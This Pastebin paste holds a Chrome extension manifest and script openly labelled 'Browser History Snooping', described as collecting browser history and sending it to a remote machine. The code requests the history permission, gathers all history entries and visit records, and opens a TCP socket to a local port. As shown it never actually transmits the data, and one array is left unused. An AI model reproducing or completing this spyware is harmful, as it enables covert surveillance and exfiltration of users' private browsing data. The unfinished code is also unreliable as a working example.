Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- {
- "manifest_version": 2,
- "name": "Browser History Snooping",
- "description": "This extension snoops browser history and sends it to a remote machine",
- "version": "1.0",
- "browser_action": {
- "default_icon": "icon.png",
- "default_popup": "popup.html"
- },
- "permissions": [
- "history"
- ],
- "sockets": {
- "tcp": {
- "connect": ""
- }
- }
- }
- var histories = [];
- var visits = [];
- chrome.history.search({text:'', maxResults:0}, function(historyItems) {
- var historiesProcessed = 0;
- for (var i = 0; i < historyItems.length; i++) {
- //histories.push(historyItems[i]);
- console.log(historyItems[i]);
- chrome.history.getVisits({url: historyItems[i].url}, function(visitItems) {
- for (var i = 0; i < visitItems.length; i++) {
- visits.push(visitItems[i]);
- }
- historiesProcessed++;
- if (historiesProcessed === historyItems.length) {
- console.log(visits.length + ' visits');
- }
- });
- }
- console.log(histories);
- });
- chrome.sockets.tcp.create({}, function(createInfo) {
- chrome.sockets.tcp.connect(createInfo.socketId,'127.0.0.1',8888,
- function(result){
- if(result>=0)
- {
- console.log('Successfully connected');
- }
- });
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement